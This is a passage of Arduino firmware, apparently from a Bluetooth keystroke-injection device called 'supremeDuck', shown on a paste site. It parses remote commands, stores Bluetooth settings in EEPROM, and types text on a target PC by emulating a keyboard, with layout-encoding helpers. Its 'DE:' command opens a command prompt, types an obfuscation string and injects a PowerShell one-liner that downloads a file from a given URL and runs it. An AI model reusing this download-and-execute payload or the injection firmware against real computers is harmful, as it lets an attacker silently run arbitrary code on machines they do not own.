  694.     }
  695.    
  696.     if(IsCmd(inStr, "DE:") && StrContains(inStr, ",type:")){                     //DE:t,type:est,end (download and execute)
  697.         byte indexType = SubStrIndex(inStr, ",type:");                              //trying to get the position where link is ending and the file type begins
  698.         byte indexEnd = SubStrIndex(inStr, ",end");                             //trying to get the position where the file type ends (to know its length)
  699.         char fileFormat[10];
  700.         byte typeLen = indexEnd - (indexType + strlen(",type:"));         //get length
  701.         for(byte i=0;i<=typeLen;i++){    
  702.           fileFormat[i] = inStr[i+indexType+strlen(",type:")];
  703.           if(i == typeLen){fileFormat[i] = '\0';}
  704.         }
  705.         for(byte i=0;i<=indexType-3;i++){                                   //indexType - 3 which is "DE:" + 1
  706.           inStr[i] = inStr[i+3];
  707.           if(i == indexType-3){inStr[i] = '\0';}
  708.         }    
  709.         OpenCmd(); //("powershell Start-Process cmd -Verb runAs");
  710.         delay(500);
  711.         EnterCommand(commandLineObfuscationString);
  712.         Print("powershell \"$down = New-Object System.Net.WebClient; $url = '");
  713.         Print(inStr);
  714.         Print("'; $file = 'downloadedfile.");
  715.         Print(fileFormat);
  716.         Print("'; $down.DownloadFile($url,$file); $exec = New-Object -com shell.application; $exec.shellexecute($file); exit;\" & exit");
  717.         TypeKey(KEY_RETURN);
  718.   }
  719.  
  720.  
  721.   if(IsCmd(inStr, "CBN:")){                     //CBN:supremeDuck,end (change bluetooth name, after next reboot)
  722.       ExtractDeliveredText(inStr, 4);
  723.       char bluetoothName[BLUETOOTH_NAME_SIZE] = {0};
  724.       sprintf(bluetoothName, "%s\0", inStr);
  725.      
  726.       EEPROM.put(EEPROM_ADDRESS_BLUETOOTH_NAME, bluetoothName);
  727.       EEPROM.put(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_NAME_CHANGE, 777);  
  728.   }
  729.  
  730.   if(IsCmd(inStr, "CBP:")){                     //CBP:3737,end (change bluetooth pin, after next reboot)
  731.       ExtractDeliveredText(inStr, 4);
  732.       char pin[5] = {0};
  733.       sprintf(pin, "%s\0", inStr);
  734.      
  735.       EEPROM.put(EEPROM_ADDRESS_BLUETOOTH_PIN, pin);
  736.       EEPROM.put(EEPROM_ADDRESS_REQUESTED_BLUETOOTH_PIN_CHANGE, 777);  
  737.   }
  738.    
  739.   memset(inStr, 0, MAX_SERIAL_LENGTH);
  740. }
  741.  
  742. /*
  743. ENC,D:2122232425262728292A2B2C2D2E2F303132333435363738393A3B3C3D3E3F40414D5157595A5B5C5D5E5F6061696D7177797A7B7C7D7E,end
  744. ENC,U:317E333435373238392D345C3D2F37303132333435363738392F5C2C302E2D71616D7177797A382D39333D5C61226D7177797A375C305D,end
  745. ENC,M:81008686818181818100810000008100000000000000000000818181818181868181818181818686868181860000000000000086818686,end
  746. ENC,N:UK - gb,end
  747. */
  748.  
  749. void ExtractDeliveredText(char *inStr, byte ignoredStartingChars)             //gets rid of the first few chars (e.g. "YT:") and the ",end" (it assumes that every message received ends with ",end", if the message would end like ",ending" the function won't work properly without adding additional parameter, somthing like: "byte ignoredEndingChars")
  750. {
  751.   byte len = SubStrIndex(inStr, ",end") - ignoredStartingChars;      
  752.    
  753.   for(byte i=0;i<=len;i++)
  754.   {
  755.     inStr[i] = inStr[i+ignoredStartingChars];
  756.     if(i == len)
  757.     {
  758.       inStr[i] = '\0';
  759.     }
  760.   }
  761. }
  762.  
  763. int SubStrIndex(char *str, char *sfind)
  764. {
  765.   int ptr = strstr(str, sfind);
  766.   if(ptr){
  767.     return ptr - (int)str;
  768.   }
  769.   return 0;
  770. }
  771.  
  772.  
  773.  
  774. bool IsCmd(char *str, char *cmdStart){
  775.   return (StrStartsWith(str, cmdStart) && StrEndsWith(str, ",end"));
  776. }
  777.  
  778. bool StrContains(char *str, char *sfind)
  779. {
  780.     return (bool)(strstr(str, sfind));
  781. }
  782.  
  783. bool StrStartsWith(char* str, char* desiredStart)
  784. {
  785.   return (bool)(strstr(str, desiredStart) == str);
  786. }
  787.  
  788. bool StrEndsWith(char* str, char* desiredEnd)
  789. {
  790.   return (bool)(strstr(str, desiredEnd) == (str + strlen(str) - strlen(desiredEnd)));
  791. }
  792.  
  793.  
  794.  
  795. void Print(char *inStr)
  796. {  
  797.   int enc_index;
  798.   for(byte i=0; i<strlen(inStr); i++)               //for each character in the string
  799.   {  
  800.     if (useMultiLangWindowsMethod && !IsModifier(inStr[i]) && ((!isalnum(inStr[i]) && inStr[i] != ' ') || IsException(inStr[i])))       //if character is punctuation or requires different button to be pressed in different keyboard language settings then use alt+numpad method
  801.     {
  802.       //Serial.print("special char = ");
  803.       //Serial.println(inStr[i]);
  804.      
  805.       byte hundreds = (byte)inStr[i] / 100;
  806.       byte dozens = ((byte)inStr[i] - (hundreds*100)) / 10;
  807.       byte singles = (byte)inStr[i] - (hundreds*100) - (dozens*10);
  808.  
  809.       /*
  810.       Serial.print(hundreds);
  811.       Serial.print(dozens);
  812.       Serial.println(singles);
  813.       */
  814.    
  815.       myKeyboard.press(KEY_LEFT_ALT);
  816.       PressRelease((char)KEYPAD[hundreds], 5);
  817.       PressRelease((char)KEYPAD[dozens], 5);
  818.       PressRelease((char)KEYPAD[singles], 5);
  819.       myKeyboard.releaseAll();
  820.       continue;
  821.     }
  822.  
  823.     enc_index = GetKeyIndex(inStr[i], Encoding[ENCODING_BYTE_DESIRED]);
  824.     if(enc_index < 256 && !IsModifier(inStr[i]))                            //256 means it's a key not present in the array (key which does not need a substitution because it is the same for any keyboard setting)
  825.     {    
  826.       if(Encoding[ENCODING_BYTE_MODIFIER][enc_index] > 0)
  827.       {
  828.         myKeyboard.press(Encoding[ENCODING_BYTE_MODIFIER][enc_index]);
  829.         delay(5);
  830.       }
  831.  
  832.       myKeyboard.press(Encoding[ENCODING_BYTE_USED][enc_index]);
  833.       delay(5);    
  834.  
  835.       /*
  836.       Serial.print(inStr[i]);
  837.       Serial.print(", ");
  838.       Serial.print(Desired_Keys[enc_index]);
  839.       Serial.print(", ");
  840.       Serial.print(Modifier_Keys[enc_index]);
  841.       Serial.print(", ");
  842.       Serial.print(Used_Keys[enc_index]);
  843.       Serial.print(", ");
  844.       Serial.print("\n");
  845.       */
  846.      
  847.     }
  848.     else // if the standard/normal key can be pressed
  849.     {
  850.       myKeyboard.press(inStr[i]);
  851.       //Serial.print(", ");
  852.       //Serial.println(inStr[i]);
  853.       delay(5);    
  854.     }
  855.     myKeyboard.releaseAll();
  856.   }
  857. }
  858.  
  859. int GetKeyIndex(byte c, byte* char_array)           // find and the position of the value in the array
  860. {
  861.   for(byte i=0;i<strlen(char_array);i++)
  862.   {
  863.     if(c == char_array[i])
  864.     {
  865.       return i;
  866.     }
  867.   }
  868.   return 256;
  869. }
  870.  
  871. void PressRelease(char c, byte timeDelay)
  872. {
  873.   myKeyboard.press(c);
  874.   delay(timeDelay);
  875.   myKeyboard.release(c);
  876. }
  877.  
  878.  
  879. /*
  880. Exceptions are the letters that require different button being pressed in different lang settings
  881. (so if letter == exception then use alt+numpad method, otherwise use the normal typing because it's faster to press 1 instead of 4 buttons)
  882. these exceptions are listed to make the typing process faster because using alt+numpad method for all the characters appears to be too slow
  883.  
  884. german - yz
  885. french - qamwz
  886. dutch - qamwz
  887. turkish - i
  888. azerbaijani - totally uncompatible
  889. */
  890.  
  891. #define EXCEPTIONS_SIZE 24
  892. char exceptions[EXCEPTIONS_SIZE] = {
  893.   'y','Y',
  894.   'z','Z',
  895.   'q','Q',
  896.   'a','A',
  897.   'm','M',
  898.   'w','W',
  899.   'i','I',
  900.   '0','1','2','3','4','5','6','7','8','9',
  901. };
  902.  
  903.  
  904. bool IsException(char c)                    // check whether this character is one of these that have to be typed differently using other language settings
  905. {
  906.   for(byte i=0; i<EXCEPTIONS_SIZE; i++)
  907.   {
  908.     if(c == exceptions[i])
  909.     {
  910.       return true;
  911.     }
  912.   }
  913.   return false;
  914. }
  915.  
  916.  
  917. bool IsModifier(char c)                   // is key like shift, alt, "GUI" key, etc.
  918. {
  919.   byte b = (byte)c;
  920.   if((b >= 128 && b <=135) || (b >= 176 && b <=179) || (b >= 193 && b <=205) || (b >= 209 && b <=218))
  921.   {
  922.     #ifdef LOG_SERIAL
  923.       //Serial.println("Is modifier");
  924.     #endif
  925.     return true;
  926.   }
  927.   return false;
  928. }
  929.  
  930. char HexToChar(char *inStr)                   // function which takes a pointer to a string with 2 characters like "FF" as a parameter and returns a number converted from that string, interpretting it as a 2 digit hexadecimal value
  931. {
  932.   char strValBuff[3]={inStr[0],inStr[1],'\0'};
  933.   return (char)strtoul((char*)strtok(strValBuff, " "),NULL,16);
  934. }
  935.  
  936.  
  937.  
  938.  
  939. void SetNewCharEncoding(char *inStr){
  940.   byte encodingFactor=255;
  941.   switch (inStr[4])                                                 //5th letter is D, U or M depending on the type of 3 encoding factors
  942.   {
  943.     /*
  944.      * the encoding data is large so the app sends the data in 4 steps, first sends the desired characters, the ones that the user wants to type (marked by the letter "D")
  945.      * then it sends the used characters, the ones that have to be "pressed" in order to type the desired characters while using a specific language settings (these "Used characters" are marked by the letter "U")
  946.      * then it sends the modifier keys, they are used to know whether some shift or alt has to be pressed together with the "Used char" to achieve "Desired char" being typed on the target PC  
  947.      * the last message sent is just a name of the language (e.g. UK - gb)
  948.      *
  949.      * Let's pretend that I want to type the letter "n" which is 0x6D in ascii table. Let's assume hypothetically that in order to type that letter on a PC with a Japanese keyboard setting
  950.      * I have to press "z" + shift that are respectively 0x7A in ascii table and 0x81 (according to not ascii table but this: https://www.arduino.cc/en/Reference/KeyboardModifiers)
  951.      * The encoding data which will allow me to correctly type letter "c" in such case would be:
  952.      * ENC,D:6D,end
  953.      * ENC,U:7A,end
  954.      * ENC,M:81,end
  955.      * ENC,N:HypotheticalJapanese - hj,end
  956.      *
  957.      * The above example would send the data required for 1 char, the implementation of this system sends no more than 72 bytes/chars at once.
  958.      */
  959.     case 'D':
  960.       {
  961.         encodingFactor=0;
  962.       }    
  963.       break;
  964.      
  965.     case 'U':
  966.       {
  967.         encodingFactor=1;  
  968.       }
  969.       break;
  970.     case 'M':
  971.       {
  972.         encodingFactor=2;
  973.       }
  974.       break;
  975.     case 'N':
  976.       {
  977.         ExtractDeliveredText(inStr, 6);
  978.         sprintf(encodingName, "%s\0", inStr);
  979.         EEPROM.put(EEPROM_STARTING_ADDRESS_ENCODING_NAME, encodingName);
  980.         EEPROM.put(EEPROM_ADDRESS_ENCODING_AVAILABLE, 777);                     //just to acknowledge that there's no need for the default US encoding becuase some other was saved to EEPROM
  981.         for(byte i=0;i<MAX_SERIAL_LENGTH;i++){inStr[i]=0;}
  982.         return;
  983.       }
  984.       break;
  985.     default:
  986.       {
  987.         Serial.print("Error: Incorrect encoding factor.");
  988.         return;
  989.       }
  990.       break;
  991.   }  
  992.  
  993.   ExtractDeliveredText(inStr, 6);
  994.  
  995.   #ifdef LOG_SAVED_ENCODING_EEPROM
  996.     Serial.print("Received:\n");
  997.   #endif
  998.  
  999.   for(byte offset=0; offset<strlen(inStr); offset+=2)
  1000.   {
  1001.     byte strValBuff[3]={inStr[offset],inStr[offset+1],'\0'};
  1002.  
  1003.     Encoding[encodingFactor][offset/2] = (byte)strtoul((char*)strtok(strValBuff, " "),NULL,16);               //(((byte)inStr[offset]) * 16) + (byte)inStr[offset+1];        
  1004.  
  1005.     #ifdef LOG_SAVED_ENCODING_EEPROM
  1006.       Serial.print(Encoding[encodingFactor][offset/2], HEX);
  1007.       Serial.print("-");
  1008.       Serial.print(offset);
  1009.       Serial.print("  ");      
  1010.     #endif
  1011.   }  
  1012.  
  1013.   #ifdef LOG_SAVED_ENCODING_EEPROM
  1014.     Serial.print("\nSaved to EEPROM:\n");
  1015.   #endif
  1016.  
  1017.   //save to EEPROM
  1018.   for(byte offset=0; offset<ENCODING_SIZE; offset++)
  1019.   {
  1020.     Encoding[encodingFactor][offset] = ((offset<(strlen(inStr)/2)) ? Encoding[encodingFactor][offset] : 0);
  1021.     EEPROM.put(offset+1+(ENCODING_SIZE*encodingFactor), Encoding[encodingFactor][offset]);                    //+1 because the 0 address holds trigger bool for tricky activation method
  1022.    
  1023.     #ifdef LOG_SAVED_ENCODING_EEPROM
  1024.       Serial.print(Encoding[encodingFactor][offset], HEX);
  1025.       Serial.print(",");
  1026.     #endif
  1027.   }
  1028.   #ifdef LOG_SAVED_ENCODING_EEPROM
  1029.     Serial.print("\n\n");
  1030.   #endif
  1031. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement